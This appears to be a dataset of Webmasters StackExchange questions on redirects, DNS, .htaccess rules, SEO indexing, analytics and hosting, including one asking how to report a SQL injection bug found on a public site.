{"id":"30426","title":"Cannot submit change of address to subdomain in Google Webmaster Tools?","text":"I am pointing several domains to one URL, a URL which happens to include a subdomain. ALL of the domains are using 301 redirects to point to this new address. One of the older domains (which used to be a site) is a 'property' in Webmaster Tools, as is the new site (the one with the subdomain.) When registering a 'Change of Address' for the old site with WebmasterTools, it suggests the following method - * Set up your content on your new domain. **(done)** * Redirect content from your old site using 301 redirects. **(done)** * Add and verify your new site to Webmaster Tools. **(done)** Then, directly below that, to proceed, it says `Tell us the URL of your new domain: Your account doesn't contain any sites we can use for a change of address. Add and verify the new site, then try again.` I have already submitted and verified the new site. The only reason I can fathom I am getting this error is because the new site includes a subdomain. Although I don't foresee getting punished for this, as I am correctly 301 redirecting traffic anyway, I'm curious as to why the Change of Address submission isn't working appropriately for me. Has anyone else had experience with this?"}
{"id":"52842","title":"Is it safe to manipulate with DOM (using JavaScript) to move up in the search results?","text":"I have some text written for SEO purposes and it is located right after the opening body tag, so it is at the top of the page. That doesn't look great so this text is moved to the bottom of the page with JavaScript. As far as I know Googlebots don't understand JavaScript perfectly so they see this text at the top of the page and user sees this text in his browser at the bottom of the page. Is it safe and does it make sense or not?"}
{"id":"59444","title":"Buy a domain name (without hosting) and host emails on a different provider","text":"I bought a domain name on a registrar's website for a cheap price but it didn't include hosting. Now I realized I'd like to have emails sent to `me@mydomain.com`. My friend has a hosting account and he would host my emails for me, but is there any way for him to do so without being in control of my domain? Note also, that I also can't transfer the domain name to him since I've owned it for less than 60 days"}
{"id":"24734","title":"Am I allowed to save basic user data from Facebook in my own web app's database?","text":"In general my app deals with data that is unrelated to Facebook but also includes a Graph API based app. So it would be helpful for someone to login with Facebook (without registering in my own web app) and then save their email to allow direct communication with my user's web app. This is not for spam of course."}
{"id":"57257","title":"Alexa Showing Search Traffic turn to 0","text":"Alexa.com showing that Search Traffic turn to 0 since i changed the new website at 1-1-2014 while Google Analytics showing that everything is ok and i still receive traffic from search engines i double checked the robots tags, headers and robots.txt for any blocking , There's not! i am not sure what's the source of the problem and i really need your help because the ranking is getting down. My Website: http:\/\/syriaishere.com My Alexa: http:\/\/www.alexa.com\/siteinfo\/syriaishere.com"}
{"id":"24733","title":"Is the implementation of a temporary \"blackout\" like Wikipedia's considered black\/white\/grey hat SEO?","text":"Currently, Wikipedia is participating in a blackout and going to any content on their site produces a result like this (cropped slightly to dissociate the example from the message behind the example):  However, if I look at the source, I can see the full source of any article (this is the content for the entry on G.I. Joe, I've highlighted elements in the source to indicate things that I would _expect_ to see under normal circumstances):  Now, I can't say what Googlebot is seeing (I would _hope_ the same content is being served up to Googlebot, as doing otherwise smacks of what Experts Exchange used to do), but that aside this all seems very grey-hat, even if it is only temporary. So the question is, even if it is only for a short amount of time (in this case, a day) is what kind of SEO practice is it considered to deliver content in this way. Black, white or grey? And if grey, how grey?"}
{"id":"29226","title":"Translated versions of my website are not indexed by Google - what should I do?","text":"I have developed a web application - at the bottom of the homepage there are links to translated versions of it. You can visit http:\/\/www.plancake.com to have an idea of what I am talking about. The links are like this one: <a href=\"http:\/\/www.plancake.com\/it\/\"> <img src=\"\/images\/flags\/small\/it.png\"> Italiano <\/a> They are there for more than 1 month and I have submitted them to Google using the WebMaster tools more than two weeks ago. Thing is that when I search a text from the homepage (from the translated version) in Google my website doesn't come up. What should I do? Building a sitemap.xml is the way to go or that is now outdated and I should do something different? Thanks for your help, Dan"}
{"id":"50626","title":"Could Google Custom Search crawl a domain with just an IP address?","text":"Our staging site currently does not have a domain name for public access, however we do have access over the IP address (like `xx.xx.xxx.xxx`). Could we use Google Custom Search for this site without a domain?"}
{"id":"48374","title":"How does Google have more results than I have pages?","text":"Our site has about 6500 pages. These are kept up to date in our sitemap.xml. When I go to our **Google Webmaster Tools** account I see that Google has indexed about 6000 of our pages. This seems quite accurate. However, when I do a google search for \" ** _site:mydomain.com_** \" I get back about 11000 results. Last weeks this number was around 6000 but it's almost doubled. What could be the cause of this, and how do I diagnose the issue?"}
{"id":"48312","title":"How to use .htaccess to make a subfolder act as a subdomain","text":"I have to make a new site for every subdomain I want to add directly on my host, so I'd like to make them subfolders and redirect like this so they look like subdomains anyway. For example, how could I (or could I at all?) use .htaccess to do the following: Make -website.com\/subfolder\/ into -subfolder.website.com\/ Is this possible?"}
{"id":"65253","title":"What does an empty list of \"IP Address and Domain Restrictions\" mean?","text":"In IIS 7 for a certain subfolder of a web application. Does an empty list imply a \"deny all\" or an \"allow all\"?"}
{"id":"21018","title":"How long can a site be stuck in the Google sandbox?","text":"I have recently made a new website, built over 300+ links to it (which finally shown up on google webmaster tools btw), but it seems my site is in the sandbox. My site doesn't appear in the results even when I search for \"domain.com\". It used to appear though, so that's why I speculate this. My site is indexed so it's not that much of a problem. All I want to know is how long do sites remain in the sandbox. A couple of weeks, months? I'm questioning this because this a time sesntisve website, meaning that if it doesn't rank for the keyword(s) by a certain time, it will be worthless. Please don't tell me, \"oh, it takes months to rank for keywords\", because I researched my competition and keywords nicely, and have built over 300 links to my site for my keywords already."}
{"id":"19550","title":"Can server break clients' cache settings?","text":"I have disputed a domain name to a cybersquatter that I expect to recover soon. The problem is that the cybersquatter has changed the cache headers and now every user who already visited the site or is going to visit the site until the domain name is given back, can see the same page until 2016. A lot of the traffic of the site comes from Google, I will fix that by moving the domain with Error 301 and the webmasters tools. But how about those users who access directly to the site? Is there any way (I guess not) to break the client's cache settings (even the homepage is cached)? Thank you!"}
{"id":"21014","title":"Domain from A and hosting from B","text":"I have buyed domain from one company and hosting from another. On hosting company website finded DNS addresses and applied them to domain hosting website(changed DNS) I done it yesterday, so today it should work, but: **Unable to resolve the server's DNS address** appears. In direct admin control panel (DNS control) i have (it's my hosting company settings): http:\/\/pastebin.com\/MGbQ02hr Note: IP and domain hidden! Any ideas whats wrong ?"}
{"id":"19887","title":"Automatic exchange of synonyms for SEO?","text":"If I have a website that targets a certain audience, but the keywords that are being searched for have a lot of synonyms that are being used equally often, would it make sense to exchange these words on my page on every user visit? For example, I want to optimize for the keywords \"seminar\", \"training\", \"workshop\" (and maybe some more). Using all of the keywords on the same page without enumerating them is difficult, especially if there is not a lot of text on the page. * Would it be a good idea to swap these words for SEO everytime the page is called? * Is that somehow frowned upon and penalized by search engines? * Would that actually do any good, or would it just lower my ranking for each of these keywords because each of them is shown less often?"}
{"id":"19557","title":"Admin: Remove user from group","text":"I was wondering how you can remove a user from a group in the admin. Seems I can add them to a group fine but if you only have one group it seems you can't deselect it?"}
{"id":"2818","title":"Free SEO tools for competitor analysis?","text":"Are there any free tools for competitor analysis? 1. I want to find out keywords that a site is optimized for by typing in a URL 2. I want to find out competition (a number) for a given phrase or keyword - Google Keyword tool gives a visual bar. I need a number so I can sort the data in Excel"}
{"id":"22063","title":"What is Google Bot's default HTTP_ACCEPT_LANGUAGE?","text":"The default language of my site gets loaded depending on this value: $_SERVER['HTTP_ACCEPT_LANGUAGE'] If Google US indexes my site, will it use the 'us' lang?"}
{"id":"48869","title":"How to view Web Server Activity via a command line or terminal","text":"Is there a way to monitor the activity of a web server via the command line. I have seen in many movies webmasters watching a command line screen in which data is continuously moving up, seems to me more like a web server activity monitor. Like as seen in this video at 1.48."}
{"id":"31934","title":"Where could I find web designers\/ web developers that would like to work together?","text":"Note: _If this isn't the right place, please let me know where I should ask this._ I am working on projects to earn money (in codecanyon and themeforest) and I wanted to know for a while where I could talk and find people in those niches. Are there any sites or forums I should seek? Maybe this could be the right place?"}
{"id":"13627","title":"I found a SQL injection bug on a public facing website, what should I do?","text":"I found (ridiculously easy to discover) a SQL injection bug on a public facing website. I strongly suspect that in the same database are stored credit card numbers of their customers (although not mine). I wrote to a service email address but got no response and the site is still on with the same error. What should I do now? Is there any legal requirement for the company to respond\/to do something (we are talking about the German branch of an American company)?"}
{"id":"13621","title":"Why would you want to own just the MX rights to a website?","text":"I acquired an existing small website not too long ago. When I went to register the domain on google apps, it turned out the domain was already registered and I would need to contact whoever had previously set it up. Which turned out not to be the folks I acquired it from, but instead the original owner who had transferred the site to them. He told me when he originally sold the site, he retained the rights to the MX records. Why would anybody want to do this? He hasn't been associated with the site in years. Is this a common practice?"}
{"id":"4711","title":"Where can I find online advertisers that let you place ads in rss feeds?","text":"Looking for online advertisers like google that let you place ads in feeds?"}
{"id":"57258","title":"Responsibility of Service Owner in case of illegal content","text":"It is more of a legal question but related to what you can and are allowed to host on your service\/server. How responsible is a server administrator for links on the website that point at illegal content (Copyrighted material mainly, excluding child pornography). I see that google is forced to remove few links from their database due to DMCA breach but how is hosting any links illegal since you don't host the copyrighted material."}
{"id":"13629","title":"is there any way to check if an email sent landed in a spam folder?","text":"In email marketing it's useful to provide a statistic about messages that got across as spam to the people that want to send an email campaign. From what I know so far, it isn't possible to check if an email sent landed in a spam folder. Is there anything that I'm missing? Even something that will work a small percent of the time will do. Any help is much appreciated."}
{"id":"4719","title":"What places give free traffic for an e-commerce website?","text":"One place that I know is Google Product search, which is free and gives quite a lot of traffic when people are searching for products you sell. What other ways are there to get free traffic to your e-commerce website?"}
{"id":"67787","title":"How to make dynamic search result page to index?","text":"Suppose i have an internal search engine that works on this parameters foo.bar\/search\/?where=Rome&what=restaurant&categories=healthy that i can dinamically alias to foo.bar\/restaurants\/healthy-restaurants-in-rome This uri will return dynamic results. I want the friendly url to be indexed in google, but the alias will be dynamically generated only when some user will perform a search with the given parameters, and the aliased url will be **not** listed anywhere in my site. Will google be able to crawl the alias? If yes, how? If not, what to do in order to get it indexed?"}
{"id":"43413","title":"Domain Expiration when transfer is processing, will I lose it?","text":"I have registered my domain at netfirms.com and the expired date is **10-Feb-2013**. I've started a transfer process to bigrock.com on **08-Feb-2013** and they have charged 1 year renual. All the authentications are done, but BigRock says **\"Your current Registrar needs to approve your domain name's transfer. Please wait while this transfer request is processed.\"** I asked their support center and they told me it will take 5-7 days to process a transfer. Which means my domain will expire within that range of date. I don't want to lose my domain. _Please suggest me what to do now._ * * * I searched all over and found something. According to ICAN FAQ: **Q) My domain name has just expired. Can my registrar require me to pay for a renewal before I can transfer to a new registrar?** _**A)** No. Your new registrar of choice can initiate a transfer request on an expired domain name once they receive the required authorization from you. Expiration or nonrenewal of a domain name is not a valid reason for denial of a transfer request. Note that if the registrar has already begun the deletion process on the domain name and its status shows it to be within a 30-day Redemption Grace Period, the name must be restored. by your current registrar before it can be transferred._ **Is that mean I'm saved?** Please suggest me, I'm in a huge load of tension. Thanks!"}
{"id":"25484","title":"Robots are still disallowed even without a robots.txt file","text":"I'm having trouble with a website I'm working on. I initially set up a robots.txt file to prevent robots from indexing it while I was working on it. However now its live and the robots.txt rile has been deleted but it still has not been crawled and shows that robots are disallowed access. EVen in the absence of a robots.txt file. The site is a wordpress based website - everything seems to suggest that there should be no block for any crawlers. Running a search for `site:claimsadvicecentre.co.uk` should bring up atleast 5 pages however its only listing the main page. What could be wrong here?"}
{"id":"25487","title":"Are there any region specific advertising platforms, alternative to AdSense?","text":"I'm wondering if AdSense is the best advertising platform to use for international\/multi-lingual websites. When trying an AdSense sandbox preview tool, I have noticed that for example the Chinese version of the site shows _some_ Chinese adverts, but mostly they are English. I have tried searching for \"Chinese alternative to AdSense\" but can't find anything specific to a region. I suppose I could just try this top 10 list, and see which performs the best?"}
{"id":"21909","title":"Error 500 on phpMyAdmin via https from \"self-signed certificate\"?","text":"I have used Cpanel to generate and install a self-signed certificate for HTTPS and now that I have installed phpMyAdmin once I access phpMyAdmin via HTTPS it throws out an error 500 message. Why is this?"}
{"id":"3714","title":"How long does it take for a page to be assigned Google page rank?","text":"The home page of my website has been indexed by Google more than 6 months ago. Some of the internal pages have received a page rank 6 or higher, however, the page rank of the home page remains 0. What might be the reason and is there anything I can do about it? Thanks!"}
{"id":"1342","title":"Are there any large web sites written with Python\/Django?","text":"Looking at the list of sites created using django, it seems there are no major web sites that are written using the framework. Why is this? Is django not suited to scalable web sites, or is it in fact that Python loses out to PHP because more developers know it or there are more OSS components available while enterprise favours .NET or Java? How suitable is Python compared to PHP for instance? I saw some benchmarks recently that put Python way faster than PHP. I'm looking for answers a little more in-depth than \"anything can be made to work\/use what you know\" etc please. Thanks -- edit -- Thanks for the answers everyone."}
{"id":"21905","title":"What hosted analytics offers IP recording?","text":"I'm looking for a free hosted analytic service that logs IP addresses. My first choice would have been Google Analytics, but apparently they do not offer IP logging. Hosted software only, please. Thank you!"}
{"id":"3718","title":"Are there security risks involved in moving from a CMS that uses SQL to one that uses XML?","text":"I've used a lot of content management systems in my day (drupal, wordpress, joomla, etc.) and they have all been database driven using MySQL. While the security updates for many CMS offerings out there seem frequent and strong, I still see the occasional site go down, get defaced, etc. (usually from SQL injection attacks). This has led me to look at Get-Simple CMS, which has the unique difference of housing data in XML files. I realize folks won't be able to speak about specific vulnerabilities related to this CMS, but in general what are the pros and cons with regard to security and an XML driven CMS?"}
{"id":"53764","title":"Does Rich Snippets error messages prevent new SERP display appearing?","text":"Using the Google Structured Data Testing Tool (`www.google.com\/webmasters\/tools\/richsnippets`) I input the following URL: `http:\/\/www.eggrecipes.co.uk\/recipes\/arrabiatta-ham-egg-pizza` and it shows \"Arrabiatta ham & egg pizza\", however when I Google this it doesn't show with rich snippets. I know it MAY be an indexing issue (even though it has been a few weeks), however on the tool I get the following message: > Error: We did not accept \"5 mins\" as cooking time. Error: Cooking time > should be in ISO 8601 format - http:\/\/www.w3.org\/TR\/xmlschema-2\/#duration Would this affect it? I have previously ignored it since the preview shows fine with the correct total time (15 mins)."}
{"id":"17678","title":"Image Search Ranking","text":"**What are image-specific factors that contribute to ranking inGoogle Image Search?** Looking for what contributes to **ranking and relevancy of images above and beyond the SEO of the hosting site itself**. My online gallery for example ranks well for keyword in normal (text) search but much less in image search. Furthermore, results in image search are often wrong while text search results are not. Specifically, pictures of some places or monuments often show up for searches for another place."}
{"id":"59114","title":"Google video sitemap with lighttpd","text":"I have over 10k videos hosted on my server, and I'm using lighttpd to switch the video URLs every 2 hours because of hotlinking protection. This means that all video URLs in video sitemap is only valid for 2 hours. I have not much experiences of programming, and this is the source i found: http:\/\/forum.adultscriptpro.com\/viewtopic.php?id=588 After reading some comments on this question, It is possible to do that by cronjob to generate new sitemap every 2 hours. But my another big question is, is it really important to having a video sitemap for a video website? Or i can just submit a normal sitemap.xml instead of the video sitemap? Any suggestion or advice? Thanks!"}
{"id":"56815","title":"What is the default behavior of robots if there is no robots meta tag?","text":"Assuming I have a page without a _robots.txt_ and without the _robots meta tag_. What is the default behavior of robots? Would they index the page and follow the links as in: <meta name=\"robots\" content=\"index, follow\" \/> I'm asking because I want to know if I can safely remove the meta tag."}
{"id":"17672","title":"What are the tactics used to discover what kind of affiliate products will do well in your website?","text":"I'm starting to post some affiliate ads on my website. As it happens, I am not even close to making a sale. * I'm not sure if the products I have chosen will appeal to the audience I have. * I'm not sure if the volume of traffic is enough to support affiliate programs. I get about 8000-9000 visitors everyday. But since its growing constantly, thats not much of a worry. But I'm surely struggling to figure out what kind of products to market? (its a techie site). Is there a service\/tool which can analyze the website and suggest what products will do well and what won't?"}
{"id":"17673","title":"Google search results from multi-language site(s)","text":"I run a website with two languages (English and Norwegian). There is one website, but two domains (www.example.com and www.example.no), if you visit example.com you get English language and if you visit example.no you get Norwegian language. This works like it should on the website, but my problem is with the Google search results. If I Google my domain name I get search results only in English, even though my Google settings are set to Norwegian. I want the Google search to present my site in Norwegian if i'm using a browser with Norwegian settings, and Norwegian Google search. And I want Google to present my site in English if a user has other language preferences than Norwegian. How can this be accomplished?"}
{"id":"43673","title":"Does Google penalize for too many redirects from different domains?","text":"This is a follow up question to Archiving web content annually. One site or sites by year? We are completing the import of tens of thousands scientific abstracts into a single site. The most recent two years of abstracts were hosted on separate domains (conference2012.org, conference2011.org) and represents around 3,000 pages. I have the ability to add redirects to every single document on the smaller sites and redirect to the new, main site. However, I am uncertain if Google will slap a Panda, Penguin, or Farmer penalty on the new site for receiving so many redirects from two other domains. But if I don't redirect, I'm concerned that I'll get nailed by the duplicate content penalty before the old sites de- index. How do I set up this type of migration?"}
{"id":"4674","title":"Google Search iFrame works in Chrome and firefox but not IE8","text":"I use Google site search in a IFrame for my sites search engine. When I search for something in Chrome\/FireFox \"Flight\" I get the results page. When I do the same search in IE8 I get 404 error. Site: www.everydayfiction.com Search box is on the right hand side in the sidebar. The strange thing is that in IE8 when I do the search I get the following URL: http:\/\/www.everydayfiction.com\/search\/?cx=007529419963335588653%3Axv8pw52zy20&cof=FORID%3A9&ie=UTF-8&q=Flight But when I do the same search in Chrome\/Firefox I get this URL: http:\/\/www.everydayfiction.com\/search\/?cx=007529419963335588653:xv8pw52zy20&cof=FORID:9&ie=UTF-8&q=Flight&sa=Search&siteurl=www.everydayfiction.com\/search\/%3Fcx%3D007529419963335588653%253Axv8pw52zy20%26cof%3DFORID%253A9%26ie%3DUTF-8%26q%3Dfight%26sa%3DSearch _**What is going on? How do I resolve this? Suggestion? comments?_**"}
{"id":"43678","title":"Is it possible to count the number of hits or loads of a webpage without anything fancy?","text":"I know very little, but I do know that I have some server space given by my University with a file called public_html which anyone can load html and other files from. So is there a simple way to add some file and edit it with vim or give it a special name and have it collect the number of times a web browser loads a particular html file in public_html? I figure since there are a lot of settings files such as .vimrc or .forward which simply require a name and maybe input. I am hoping there is something like this which will record each time html is accessed in my public_html folder. Is there such a thing, or am I too hopeful? It seems like a practical feature but like I said I really do not know much about this stuff. Thanks. I actually do not know if this server space is apache or not, but my engineer account definitely says apache 2.2.15 (Red Hat) at the bottom of any 404 error, so I am really just guessing."}
{"id":"11704","title":"What DNS settings to point domain2.com to sitename.mydomain.com?","text":"I have a website at sitename.mydomain.com. What DNS settings do I use if I want domain2.com to point at it, without having to point directly at the IP address? (Apparently it has to use CNAMEs rather that A Records because A Records require an IP address, I think?)"}
{"id":"39247","title":"How to set WHM to Save Back Up to PC?","text":"First I would need to set an FTP server in my PC. However, my ISP gives semi dynamic IP. Is that even possible. I suppose we can have a domain name point to the IP. Is that even possible? After that what?"}
{"id":"11706","title":"Firefox, iframes and redirects","text":"I encountered this same behavior years ago and gave up back then when I couldn't find a solution. I'm hoping someone knows what's going on here and how to solve it. I have found that if you have a page in Firefox that contains an iframe and in that iframe you load a sub-page that redirects to a second sub-page, you will never see the first sub-page again if you hit \"reload\/refresh\". The only way to see the first sub-page again is to close the window\/tab and reopen the parent page. It seems that if you reload a page Firefox will _always_ jump straight to the second sub-page every time. This happens even if you subsequently change the initial iframe URL in the parent document. And this **even** happens if you change the URL **and** clear your cache. When I encountered this problem before, it was causing issues with our ad serving, but this time it's a content issue. Has anyone encountered this themselves and know a way around it? * * * **[EDIT]** I've created thee files you can use to test the iframe behavior, but you'll need to work with an html page of your own on web server you control so you can make changes and test behavior. The files I'm using are: 1. `http:\/\/www.fatfx.com\/tests\/doc1.html` -- this redirects to doc2.html after 5 seconds 2. `http:\/\/www.fatfx.com\/tests\/doc2.html` -- static file 3. `http:\/\/www.fatfx.com\/tests\/doc2.html` -- static file **Instructions:** 1. Create an HTML document and put this in its body: `<iframe src=\"http:\/\/www.fatfx.com\/tests\/doc1.html\" width=\"300\" height=\"300\" \/>` 2. Load in Firefox. You should see `This is document one. Redirecting in 5 seconds...` and then `This is document two.` 3. Hit 'Reload'. You should see immediately `This is document two`. 4. Clear you cache and hit 'Reload'. You should see immediately `This is document two`. 5. Edit your document and change the URL from `doc1.html` to `doc3.html`. 6. Clear your cache and hit \"Reload\" in Firefox. You should STILL immediately see `This is document two.` Check your page source to confirm your code change from step 5 is there. **Notes:** I've tried altering the iframe tag by adding a unique ID; that didn't work. I've tried adding Cache-Control, Pragma and Expires meta tags to prevent document caching; that didn't work. I've tried writing out the tags programatically in JS; that didn't work. As I say, I encountered this behavior probably three years ago. This can't be a 'bug' but a desired behavior. But there must be some way around it. * * * **Edit 2** It appears this is a known bug with Mozilla, first logged in 2005. It reportedly has been patched in FF4.0, though I can't confirm personally as I haven't loaded this yet on my own machine. The Bugzilla report can be found here. If anyone does know of a work-around, please let me know and I'll mark this as answered."}
{"id":"11707","title":"Setting Content Type with mod_rewrite","text":"I have the following mod_rewrite rule: RewriteRule ^\/yui-3.3\/yui_config.js$ \/web\/yui\/yui_config.js [R] when looking at the network traffic with Firebug and Chrome I noticed that `\/yui-3.3\/yui_config.js` reports its type as `text\/html` which obviously doesn't look right. I tried changing the rule to: RewriteRule ^\/yui-3.3\/yui_config.js$ \/web\/yui\/yui_config.js [T=application\/javascript,R] but the type is still `text\/html`. How can I ensure that my file is served as `application\/javascript`?"}
{"id":"57631","title":"Google Search for my domain has about 3500 3-rd level subdomain I did not create","text":"Some time ago I created the domain in `.com` zone. Now I tried to evaluate the number of pages are in Google index using request like `site:mydomain.com` but surprisingly there were a lot of results like: > Pools Above Ground Store poolsabovegroundstore.mydomain.com\/ Intex 15-Foot- > by-42-Inch Family Size Round Metal Frame Pool Set Intex 56948EB. Intex > 15-Foot-by-42-Inch Family Size Round Metal Frame Pool Set. All those links are not working giving 404 error. This domain hosted on Hostgator shared hosting. Do you have any ideas how does all of those pages appeared in Google index?"}
{"id":"29550","title":"Why the difference between Tomcat and Tomcat7 regarding servlet mapping and defaults?","text":"With the following configuration: <servlet-mapping> <servlet-name>default<\/servlet-name> <url-pattern>*.css<\/url-pattern> <\/servlet-mapping> <servlet-mapping> <servlet-name>default<\/servlet-name> <url-pattern>*.html<\/url-pattern> <\/servlet-mapping> then both Tomcat7 and Tomcat6 serves the following URL just fine: `http:\/\/127.0.0.1:8087\/mynet\/index.html` However, if I reduce the configuration to just mention the CSS pattern: <servlet-mapping> <servlet-name>default<\/servlet-name> <url-pattern>*.css<\/url-pattern> <\/servlet-mapping> Then Tomcat6 works, but Tomcat7 fails with: The requested resource () is not available. Why is there a difference here?"}
{"id":"60022","title":"What is a good microdata\/schema for classfieds site?","text":"We have automotive classifieds site which has listing of used cars. We would like to use microdata format. What would be approparite microdata structure\/schema for classified site ? Would http:\/\/schema.org\/ItemList be suitable ?"}
{"id":"128","title":"Is there a good way to measure my site's response time from different parts of the world?","text":"I would like to measure how fast my site loads from different locations around the world. What is the best way to do this?"}
{"id":"20762","title":"SEO blog Indexing: wordpress.com subdomain vs a registered domain?","text":"I've used WordPress for a few of my client's sites, mostly small businesses and eCommerce sites. I have found through Google Analytics as well as the All in One Webmaster plugin that when it comes to social media, using WordPress is a surefire way of getting your site indexed by Google and occasionally Bing and Yahoo. Since I am a heavy WP user, I'd like to contribute by registering a dot WordPress domain for my portfolio. When using a WP installation concurrently with a WP domain, e.g. `myportfolio.wordpress.com`, will the site be more or less likely to be indexed rather a generic `myportfolio.com` domain? I've seen mixed opinions where people seem to favor a WP domain for URL output where others say that it's a moot point, and that Google will not favor a WP domain over a dot com domain as long as your meta tags are updated and content is keyword optimized. I tend to disagree and believe a WP domain would more likely be indexed and output more URLs over an individual, laconic domain like `myportfolio.com`. Am I wrong?"}
{"id":"60759","title":"How long for Google to index all site maps?","text":"We recently uploaded new sitemaps, as the old ones were out of date and we've also upgraded our forum which changed the URLs of a lot of our website (we're 301 redirecting of course). We uploaded the site map a few days ago. Initially the indexing seemed to be going well, but it paused on the numbers below here and appears to have been stuck here for over 24 hours:  Is this normal? Unfortunately, the users sitemap is probably the least important one but appears to be the bulk of the indexes so far. Should we give it a bit more time, or perhaps make the links we consider more important a higher than 0.5 priority? You can view our sitemaps here: https:\/\/www.scirra.com\/robots.txt"}
{"id":"36460","title":"MAMP not working as 'localhost' but works with \"127.0.0.1\"","text":"I just installed MAMP on Mac OSX 10.8.2. When it is started, I'm not able to access the server through `http:\/\/localhost:8888` but when I visit `http:\/\/127.0.0.1:8888\/` and it works fine. Why is it so? and how can I make it work with when I type `http:\/\/localhost:8888`"}
{"id":"36465","title":"open source plugins,scripts store information?","text":"I'm wondering if open source plugins like wordpress,drupal or jquery and many more detect for example what websites are using their plugin. If so, is there any plugin which can detect which website is using your script\/plugin. Something like google analitycs but for tracking websites. If you have any idea, suggestions ... Thanks!"}
{"id":"63482","title":"Canonical tags for separate mobile URLs","text":"I have a Drupal website serving mobile pages from different urls (starting from \/mobile). According to Google recommendations I should use the canonical tag to map desktop and mobile pages. Right now I did this in case I serve the same node (e.g: node\/123 and mobile\/node\/123) but should I do this for other pages as well that are equivalent but share a different content? For example do I need to map the desktop and mobile homepages even if they don't have the same content at all?"}
{"id":"5425","title":"How to use CSS to get 5 buttons aligned like this","text":"I'm struggling to get a design like I put in this image in CSS. I'm using wordpress, and my theme just adds a full image to the top, I would like to make the most of space. http:\/\/antinovaordemmundial.com\/test\/header.png I have already all the buttons as single images (at this point I prefered to not to use sprites) and each image has a light version, to show \"on-hover\". Thanks"}
{"id":"38544","title":"301 re-direct all external links to new domain","text":"I have changed the main domain to a sub-domain & would like to re-direct all external links to the new sub domain. Have read a few articles but having no luck editing the .htaccess as it might be interfering with all the rules in there. Old: `www.example.co.uk` New: `https:\/\/secure.example.co.uk` The current rules are quite handy because it seems to have sorted out the structure for all internal links. It has even updated the file path for images (or this could just be wordpress as the url was updated under general settings). This is the current .htaccess <files wp-config.php> order allow,deny deny from all <\/files> # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress"}
{"id":"50182","title":"Second step of a funnel higher than first step in Google Analytics","text":"I have a problem with the funnels in Google Analytics. So I have a e-commerce website that I want to track the user path to a purchase. I want GA to track if a user goes trough these steps **[Item page]** → **[Purchase]** → **[Checkout]**. I thought this could be done by funnels and my setup currently now consist of: Step 1: **[Item page]** (Required) Step 2: **[Purchase]** Goal: **[Checkout]** But when I go to the \"Funnel Visualization Report\" the following shows. **[Item page]** Visits: 150 **[Purchase page]** Visits: 170 **[Checkout]** Visits: 32 How can the **[Purchase page]** be higher than the **[Item page]**? I searched the internet over, and found something called **Horizontal Funnels** but this doesn't show the correct numbers, again the purchase and checkout steps are higher than the item page. So somehow it doesn't need step 1, to fulfill the funnels\/goals. What am I doing wrong?"}
{"id":"65056","title":"Robots.txt got changed to disallow crawling by accident","text":"Our _robots.txt_ mistakenly got changed to: User-agent: * Disallow: \/ This occurred about 2 weeks ago and was changed back yesterday to allow crawling. Our listed pages in the Googles have decreased substantially, though it looks like Google has already started adding more search results for the site in question since changing the _robots.txt_ back. Are there long term repercussions of this happening, or will everything get back to normal once the site is crawled again?"}
{"id":"26071","title":"Meta Descriptions not working for google search","text":"I have unique meta descriptions on each of my pages, and when I search my site in google it will come up with no description. Any idea what I might have done wrong?"}
{"id":"65061","title":"301 Redirect vs. Domain Fowarding GoDaddy","text":"I have a domain that is registered (but not hosted with GoDaddy). Previously, it used GoDaddy's domain forwarding to forward the domain to a google sites domain, but I would now like to use a 301 redirect on the domain. **What I've Tried** - I was looking at how to make .htaccess 301 redirects, but then I noticed the following on GoDaddy when looking at the domain forwarding.  This looks as though it is using a 301 redirect. Is this sufficient to serve as a 301 redirect? Essentially, is it the same thing?"}
{"id":"48505","title":"Where does Apache get the 'last modifed' date for its automatic indexes?","text":"I have a Solaris server running Apache, and I am using the following .htaccess to generate automatic indexes. Options +Indexes # SET INDEX OPTIONS IndexOptions +NameWidth=* Where does the \"Last modified\" date come from in the index that is generated?  It does not appear to be from any of the filesystem dates.  Note that I copy these directories to this location. It seems to be showing the creation date for the directory that I copied, not the date that I copied it. If it's not the atime, ctime, mtime, or crtime, where does Apache find this date?"}
{"id":"39818","title":"Privacy Policy for english site located in france, owned by italians","text":"i'm really in trouble with the Privacy Policy of my site, cause i'm wondering, if my site is written ONLY in english language, then is located on a french server, then is owned by italians people, what the language of the privacy policy must be and which the laws to follow (i guess italian privacy policy law)? I think i need to put in the italian privacy policy law in italian language, or should i translate that from italian to english or put that with both the translations (italian\/english)? The site can be accessed from wherever in the world you are, so potential visitors will be from allaround the world. thank you."}
{"id":"47974","title":"Separate 404 page for subdirectory","text":"I've made a subsite which runs under `mydomain.com\/subsite` - idealy from an architecture point of view it would be under a subdomain, but we wanted the links to come back to the main domain. The sub site has a completely different design, and layout, and has a 404 page that is in keeping with the rest of it. How can i set the 404 for the `\/subsite` subdirectory, without affecting the root domains 404 settings in the `.htaccess` file."}
{"id":"39819","title":"Why don't social news websites like Reddit or Hacker News show up more in Google results?","text":"It's well known that Google tends to favor user generated content, so Wikipedia, StackExchange and so on often come up as the top results. However, I've noticed that I rarely ever see Reddit or Hacker News showing up despite the quality discussions going on over there. Is there any reason for that? Is it due to poor SEO? In general, what could trigger Google to generally ignore these two websites?"}
{"id":"65562","title":"SEO-friendly Responsive Design, swap navigation UL for Select?","text":"I am designing the menu for a web site, and I was hoping to find an SEO- Friendly way to implement the Responsive Design used here: Ask4Sam.net- Responsive Design Example As you can see, for large resolutions the navigation menu is an unordered list of buttons, however to save space at smaller resolutions it becomes a drop- down menu. I think this is a great effect, but the only ways I can think of to implement it are- A) Use CSS Media Queries and set Display:none to hide one menu and show the other, B) Use Javascript to hide the unused menu or C) Use jQuery to remove one menu from the DOM and dynamically insert the other on resize. However, I'm worried about duplicate menus and hidden content giving the site an SEO penalty. Is one of these techniques SEO-Friendly? Is there another technique that is better than these?"}
{"id":"28576","title":"Htaccess - Rewrite png to php file","text":"I currently use `trans.png.php?id=1&campaign=test` to track my newsletter campaigns. I want to use trans.png instead as it's the src of an img tag. How can i do this in htaccess? Also is there any way I can disguise the get variables?"}
